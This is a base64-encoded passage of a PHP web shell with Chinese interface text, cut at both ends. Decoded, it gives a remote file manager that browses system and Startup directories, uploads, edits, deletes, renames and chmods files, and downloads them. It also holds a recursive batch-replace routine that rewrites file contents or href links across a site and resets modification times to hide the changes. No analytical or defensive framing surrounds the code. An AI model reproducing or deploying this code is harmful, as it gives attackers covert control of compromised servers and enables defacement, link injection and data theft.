MnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbM10gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP41IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzRdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+NiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1s1XSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jcgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbNl0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP44IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzddIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyc+0qyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ire1u9giIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9YSZwPXskVEhJU19ESVJ9JzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQp9DQpmdW5jdGlvbiBGaWxlX2EoJHApDQp7DQoJaWYoISRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSAkR0VUVVJMID0gJyc7IGVsc2UgJEdFVFVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4nLyc7DQoJJE1TR19CT1ggPSAntci0/c/7z6K208HQJzsNCgkkVVBfRElSID0gdXJsZW5jb2RlKEZpbGVfU3RyKCRwLicvLi4nKSk7DQoJJFJFQUxfRElSID0gRmlsZV9TdHIocmVhbHBhdGgoJHApKTsNCgkkRklMRV9ESVIgPSBGaWxlX1N0cihkaXJuYW1lKF9fRklMRV9fKSk7DQoJJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7DQoJJFRISVNfRElSID0gdXJsZW5jb2RlKEZpbGVfU3RyKCRSRUFMX0RJUikpOw0KCSROVU1fRCA9IDA7DQoJJE5VTV9GID0gMDsNCglpZighZW1wdHkoJF9QT1NUWydwZm4nXSkpeyRpbnRpbWUgPSBAc3RydG90aW1lKCRfUE9TVFsnbXRpbWUnXSk7JE1TR19CT1ggPSBGaWxlX1dyaXRlKCRfUE9TVFsncGZuJ10sJF9QT1NUWydwZmMnXSwnd2InKSA/ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyCzybmmJyA6ICex4LytzsS8/iAnLiRfUE9TVFsncGZuJ10uJyDKp7DcJztAdG91Y2goJF9QT1NUWydwZm4nXSwkaW50aW1lKTt9DQoJaWYoIWVtcHR5KCRfRklMRVNbJ3VmcCddWyduYW1lJ10pKXtpZigkX1BPU1RbJ3VmbiddICE9ICcnKSAkdXBmaWxlbmFtZSA9ICRfUE9TVFsndWZuJ107IGVsc2UgJHVwZmlsZW5hbWUgPSAkX0ZJTEVTWyd1ZnAnXVsnbmFtZSddOyRNU0dfQk9YID0gRmlsZV9VcCgkX0ZJTEVTWyd1ZnAnXVsndG1wX25hbWUnXSxGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiR1cGZpbGVuYW1lKSkgPyAnyc+0q87EvP4gJy4kdXBmaWxlbmFtZS4nILPJuaYnIDogJ8nPtKvOxLz+ICcuJHVwZmlsZW5hbWUuJyDKp7DcJzt9DQoJaWYoIWVtcHR5KCRfUE9TVFsnYWN0YWxsJ10pKXskTVNHX0JPWCA9IEZpbGVfQWN0KCRfUE9TVFsnZmlsZXMnXSwkX1BPU1RbJ2FjdGFsbCddLCRfUE9TVFsnaW52ZXInXSk7fQ0KCWlmKGlzc2V0KCRfR0VUWydtZCddKSl7JG1vZGZpbGUgPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydtayddKTsgaWYoIWVyZWdpKCJeWzAtN117NH0kIiwkX0dFVFsnbWQnXSkpICRNU0dfQk9YID0gJ8r00NTWtbTtzvMnOyBlbHNlICRNU0dfQk9YID0gQGNobW9kKCRtb2RmaWxlLGJhc2VfY29udmVydCgkX0dFVFsnbWQnXSw4LDEwKSkgPyAn0N64xCAnLiRtb2RmaWxlLicgyvTQ1M6qICcuJF9HRVRbJ21kJ10uJyCzybmmJyA6ICfQ3rjEICcuJG1vZGZpbGUuJyDK9NDUzqogJy4kX0dFVFsnbWQnXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnbW4nXSkpeyRNU0dfQk9YID0gQHJlbmFtZShGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydtbiddKSxGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydybiddKSkgPyAnuMTD+yAnLiRfR0VUWydtbiddLicgzqogJy4kX0dFVFsncm4nXS4nILPJuaYnIDogJ7jEw/sgJy4kX0dFVFsnbW4nXS4nIM6qICcuJF9HRVRbJ3JuJ10uJyDKp7DcJzt9DQoJaWYoaXNzZXQoJF9HRVRbJ2RuJ10pKXskTVNHX0JPWCA9IEBta2RpcihGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRfR0VUWydkbiddKSwwNzc3KSA/ICe0tL2oxL/CvCAnLiRfR0VUWydkbiddLicgs8m5picgOiAntLS9qMS/wrwgJy4kX0dFVFsnZG4nXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnZGQnXSkpeyRNU0dfQk9YID0gRmlsZV9EZWx0cmVlKCRfR0VUWydkZCddKSA/ICfJvrP9xL/CvCAnLiRfR0VUWydkZCddLicgs8m5picgOiAnyb6z/cS/wrwgJy4kX0dFVFsnZGQnXS4nIMqnsNwnO30NCglpZihpc3NldCgkX0dFVFsnZGYnXSkpe2lmKCFGaWxlX0Rvd24oJF9HRVRbJ2RmJ10pKSAkTVNHX0JPWCA9ICfPwtTYzsS8/rK7tObU2ic7fQ0KCVJvb3RfQ1NTKCk7DQoJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCglmdW5jdGlvbiBJbnB1dG9rKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAitbHHsM7EvP46WyIgKyBtc2cgKyAiXSI7DQoJCXJlID0gcHJvbXB0KHNtc2csdW5lc2NhcGUobXNnKSk7DQoJCWlmKHJlKQ0KCQl7DQoJCQl2YXIgdXJsID0gZ291cmwgKyBlc2NhcGUocmUpOw0KCQkJd2luZG93LmxvY2F0aW9uID0gdXJsOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAiyLe2qNKqyb6z/VsiICsgdW5lc2NhcGUobXNnKSArICJdwvA/IjsNCgkJaWYoY29uZmlybShzbXNnKSkNCgkJew0KCQkJaWYoZ291cmwgPT0gJ2InKQ0KCQkJew0KCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3RhbGwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7DQoJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsNCgkJCX0NCgkJCWVsc2Ugd2luZG93LmxvY2F0aW9uID0gZ291cmw7DQoJCX0NCgl9DQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAitbHHsM7EvP7KsbzkOlsiICsgbXNnICsgIl0iOw0KCQlyZSA9IHByb21wdChzbXNnLG1zZyk7DQoJCWlmKHJlKQ0KCQl7DQoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsNCgkJCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsNCgkJCXZhciByID0gcmUubWF0Y2gocmVnKTsNCgkJCWlmKHI9PW51bGwpe2FsZXJ0KCfI1cbauPHKvbK71f3ItyG48cq9Onl5eXktbW0tZGQgaGg6bW06c3MnKTtyZXR1cm4gZmFsc2U7fQ0KCQkJZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0YWxsJykudmFsdWUgPSBnb3VybDsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ludmVyJykudmFsdWUgPSByZTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkNCgl7DQoJCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQl7DQoJCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCgkJfQ0KCX0NCglmdW5jdGlvbiBTdWJtaXRVcmwobXNnLHR4dCxhY3RpZCkNCgl7DQoJCXJlID0gcHJvbXB0KG1zZyx1bmVzY2FwZSh0eHQpKTsNCgkJaWYocmUpDQoJCXsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3RhbGwnKS52YWx1ZSA9IGFjdGlkOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ludmVyJykudmFsdWUgPSBlc2NhcGUocmUpOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsNCgkJfQ0KCX0NCjwvc2NyaXB0Pg0KPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjNweDsiPg0KPGZvcm0gbWV0aG9kPSJHRVQiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJzIiBuYW1lPSJzIiB2YWx1ZT0iYSI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icCIgdmFsdWU9InskUkVBTF9ESVJ9IiBzdHlsZT0id2lkdGg6NTUwcHg7aGVpZ2h0OjIycHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9ImxvY2F0aW9uLmhyZWY9Jz9zPWEmcD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUiPg0KCTxvcHRpb24+LS0tzNjK4sS/wrwtLS08L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ7JFJPT1RfRElSfSI+zfjVvrj5xL/CvDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InskRklMRV9ESVJ9Ij6xvrPM0PLEv8K8PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iQzovIj5Dxcw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJEOi8iPkTFzDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IkU6LyI+RcXMPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iRjovIj5Gxcw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavIj7G9Lavz+48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy9TdGFydCBNZW51L1Byb2dyYW1zL1N0YXJ0dXAiPsb0tq/P7ijToik8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9SRUNZQ0xFUiI+u9jK1dW+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iQzovUHJvZ3JhbSBGaWxlcyI+UHJvZ3JhbXM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIvZXRjIj5ldGM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIvaG9tZSI+aG9tZTwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9Ii91c3IvbG9jYWwiPkxvY2FsPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iL3RtcCI+VGVtcDwvb3B0aW9uPg0KPC9zZWxlY3Q+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Iteqtb0iIHN0eWxlPSJ3aWR0aDo1MHB4OyI+PC9mb3JtPg0KPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDozcHg7Ij48L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLQwr2ozsS8/iIgb25jbGljaz0iSW5wdXRvaygnbmV3ZmlsZS5waHAnLCc/cz1wJmZwPXskVEhJU19ESVJ9JmZuPScpOyI+DQoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItDCvajEv8K8IiBvbmNsaWNrPSJJbnB1dG9rKCduZXdkaXInLCc/cz1hJnA9eyRUSElTX0RJUn0mZG49Jyk7Ij4NCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ixfrBv8nPtKsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9cSZwPXskUkVBTF9ESVJ9JzsiPg0KCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1ZnAiIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1Zm4iIHN0eWxlPSJ3aWR0aDoxMjFweDtoZWlnaHQ6MjJweDsiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLJz7SrIiBzdHlsZT0id2lkdGg6NTBweDsiPg0KPC9mb3JtPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iPg0KPHRhYmxlIGJvcmRlcj0iMCI+PHRyPjx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo0NTBweDsiPiA8YSBocmVmPSI/cz1hJnA9eyRVUF9ESVJ9Ij48Yj7Jz7y2xL/CvDwvYj48L2E+PC90ZD4NCjx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+ILLZ1/cgPC90ZD48dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NDhweDsiPiDK9NDUIDwvdGQ+PHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjE3M3B4OyI+INDeuMTKsbzkIDwvdGQ+PHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjc1cHg7Ij4gtPPQoSA8L3RkPjwvdHI+DQpFTkQ7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgb3IgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCWVjaG8gIlxyXG4iLicgPHRyPjx0ZD4gPGEgaHJlZj0iP3M9YSZwPScuJEZpbGVwYXRoLiciPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48Yj4gJy4kRmlsZW5hbWUuJyA8L2I+PC9hPiA8L3RkPiAnOw0KCQkJJEZpbGVuYW1lID0gdXJsZW5jb2RlKCRGaWxlbmFtZSk7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJEZpbGVuYW1lLidcJyxcJz9zPWEmcD0nLiRUSElTX0RJUi4nJmRkPScuJEZpbGVuYW1lLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPiAnOw0KCQkJZWNobyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9IklucHV0b2soXCcnLiRGaWxlbmFtZS4nXCcsXCc/cz1hJnA9Jy4kVEhJU19ESVIuJyZtbj0nLiRGaWxlbmFtZS4nJnJuPVwnKTtyZXR1cm4gZmFsc2U7Ij4guMTD+yA8L2E+IDwvdGQ+ICc7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZXBlcm0uJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbWs9Jy4kRmlsZW5hbWUuJyZtZD1cJyk7cmV0dXJuIGZhbHNlOyI+ICcuJEZpbGVwZXJtLicgPC9hPiA8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQ+IDwvdGQ+IDwvdHI+Jy4iXHJcbiI7DQoJCQkkTlVNX0QrKzsNCgkJfQ0KCX0NCglAcmV3aW5kZGlyKCRoX2QpOw0KCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQ0KCXsNCgkJaWYoJEZpbGVuYW1lID09ICcuJyBvciAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7DQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJEZpbGVuYW1lKTsNCgkJaWYoIWlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXVybHMgPSBzdHJfcmVwbGFjZShGaWxlX1N0cigkUk9PVF9ESVIuJy8nKSwkR0VUVVJMLCRGaWxlcGF0aCk7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXNpemUgPSBGaWxlX1NpemUoQGZpbGVzaXplKCRGaWxlcGF0aCkpOw0KCQkJaWYoJEZpbGVwYXRoID09IEZpbGVfU3RyKF9fRklMRV9fKSkgJGZuYW1lID0gJzxmb250IGNvbG9yPSIjOEIwMDAwIj4nLiRGaWxlbmFtZS4nPC9mb250Pic7IGVsc2UgJGZuYW1lID0gJEZpbGVuYW1lOw0KCQkJZWNobyAiXHJcbiIuJyA8dHI+PHRkPiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLnVybGVuY29kZSgkRmlsZXBhdGgpLiciPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRGaWxldXJscy4nIj4nLiRmbmFtZS4nPC9hPiA8L3RkPic7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCSRGaWxlbmFtZSA9IHVybGVuY29kZSgkRmlsZW5hbWUpOw0KCQkJZWNobyAnIDx0ZD4gPGEgaHJlZj0iP3M9cCZmcD0nLiRUSElTX0RJUi4nJmZuPScuJEZpbGVuYW1lLiciPiCx4LytIDwvYT4gJzsNCgkJCWVjaG8gJyA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZW5hbWUuJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbW49Jy4kRmlsZW5hbWUuJyZybj1cJyk7cmV0dXJuIGZhbHNlOyI+ILjEw/sgPC9hPiA8L3RkPic7DQoJCQllY2hvICcgPHRkPicuJEZpbGVwZXJtLic8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQgYWxpZ249InJpZ2h0Ij4gPGEgaHJlZj0iP3M9YSZkZj0nLiRGaWxlcGF0aC4nIj4nLiRGaWxlc2l6ZS4nPC9hPiA8L3RkPjwvdHI+ICcuIlxyXG4iOw0KCQkJJE5VTV9GKys7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCWlmKCEkRmlsZXRpbWUpICRGaWxldGltZSA9ICcyMDA5LTAxLTAxIDAwOjAwOjAwJzsNCglwcmludDw8PEVORA0KPC90YWJsZT4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJhY3RhbGwiIG5hbWU9ImFjdGFsbCIgdmFsdWU9InVuZGVmaW5lZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iaW52ZXIiIG5hbWU9ImludmVyIiB2YWx1ZT0idW5kZWZpbmVkIj4NCjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSk7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK4tNbGIiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7i01sbL+dGhzsS8/rW9wre+tjogJywneyRUSElTX0RJUn0nLCdhJyk7cmV0dXJuIGZhbHNlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/SIgb25jbGljaz0iRGVsb2soJ8v50aHOxLz+JywnYicpO3JldHVybiBmYWxzZTsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Isr00NQiIG9uY2xpY2s9IlN1Ym1pdFVybCgn0N64xMv50aHOxLz+yvTQ1Na1zqo6ICcsJzA2NjYnLCdjJyk7cmV0dXJuIGZhbHNlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyrG85CIgb25jbGljaz0iQ2hlY2tEYXRlKCd7JEZpbGV0aW1lfScsJ2QnKTtyZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK08rD8IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7TysPyyos/C1NjL+dGhzsS8/s/C1NjD+86qOiAnLCdzaWxpYy5neicsJ2UnKTtyZXR1cm4gZmFsc2U7Ij4NCsS/wrwoeyROVU1fRH0pIC8gzsS8/ih7JE5VTV9GfSk8L2Rpdj4gPC9mb3JtPg0KRU5EOw0KCXJldHVybiB0cnVlOw0KfQ0KLy/F+sG/zOa7uw0KZnVuY3Rpb24gVGlodWFuX0F1dG8oJHRwLCR0dCwkdGgsJHRjYSwkdGNiLCR0ZCwkdGIpDQp7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkdHApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpDQoJew0KCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsNCgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHRwLicvJy4kRmlsZW5hbWUpOw0KCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkdGIpIFRpaHVhbl9BdXRvKCRGaWxlcGF0aCwkdHQsJHRoLCR0Y2EsJHRjYiwkdGQsJHRiKTsNCgkJJGRvaW5nID0gZmFsc2U7DQoJCWlmKGVyZWdpKCR0dCwkRmlsZW5hbWUpKQ0KCQl7DQoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWlmKCR0aCkNCgkJCXsNCgkJCQlpZighc3RyaXN0cigkaWMsJHRjYSkpIGNvbnRpbnVlOw0KCQkJCSRpYyA9IHN0cl9yZXBsYWNlKCR0Y2EsJHRjYiwkaWMpOw0KCQkJCSRkb2luZyA9IHRydWU7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJlZ19tYXRjaF9hbGwoIi9ocmVmXD1cIihbXn5dKj8pXCIvaSIsJGljLCRuYyk7DQoJCQkJZm9yKCRpID0gMDskaSA8IGNvdW50KCRuY1sxXSk7JGkrKyl7aWYoZXJlZ2koJHRjYSwkbmNbMV1bJGldKSl7JGljID0gc3RyX3JlcGxhY2UoJG5jWzFdWyRpXSwkdGNiLCRpYyk7JGRvaW5nID0gdHJ1ZTt9fQ0KCQkJfQ0KCQkJaWYoJHRkKSAkZnRpbWUgPSBAZmlsZW10aW1lKCRGaWxlcGF0aCk7DQoJCQlpZigkZG9pbmcpIGVjaG8gRmlsZV9Xcml0ZSgkRmlsZXBhdGgsJGljLCd3YicpID8gJzxmb250IGNvbG9yPSIjMDA2NjAwIj6zybmmOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIiA6ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+yqew3Do8L2ZvbnQ+Jy4kRmlsZXBhdGguJyA8YnI+Jy4iXHJcbiI7DQoJCQlpZigkdGQpIEB0b3VjaCgkRmlsZXBhdGgsJGZ0aW1lKTsNCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJfQ0KCUBjbG9zZWRpcigkaF9kKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIFRpaHVhbl9kKCkNCnsNCglpZigoIWVtcHR5KCRfUE9TVFsndHAnXSkpICYmICghZW1wdHkoJF9QT1NUWyd0dCddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSR0dCA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3R0J10pOw0KCQkkdGQgPSBpc3NldCgkX1BPU1RbJ3RkJ10pID8gdHJ1ZSA6IGZhbHNlOw0KCQkkdGIgPSAoJF9QT1NUWyd0YiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCSR0aCA9ICgkX1BPU1RbJ3RoJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJaWYoJHRoKSAkX1BPU1RbJ3RjYSddID0gc3RyX3JlcGxhY2UoJy4nLCdcXC4nLCRfUE9TVFsndGNhJ10pOw0KCQllY2hvIFRpaHVhbl9BdXRvKCRfUE9TVFsndHAnXSwkdHQsJHRoLCRfUE9TVFsndGNhJ10sJF9QT1NUWyd0Y2InXSwkdGQsJHRiKSA/ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249XCc/cz1kXCciPszmu7vN6rHPPC9hPicgOiAnPGEgaHJlZj0iIyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPVwnP3M9ZFwnIj7S7LOj1tXWuTwvYT4nOw0KCQllY2hvICc8L2Rpdj4nOw0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCSRGSUxFX0RJUiA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsNCgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCglwcmludDw8PEVORA0KPHNj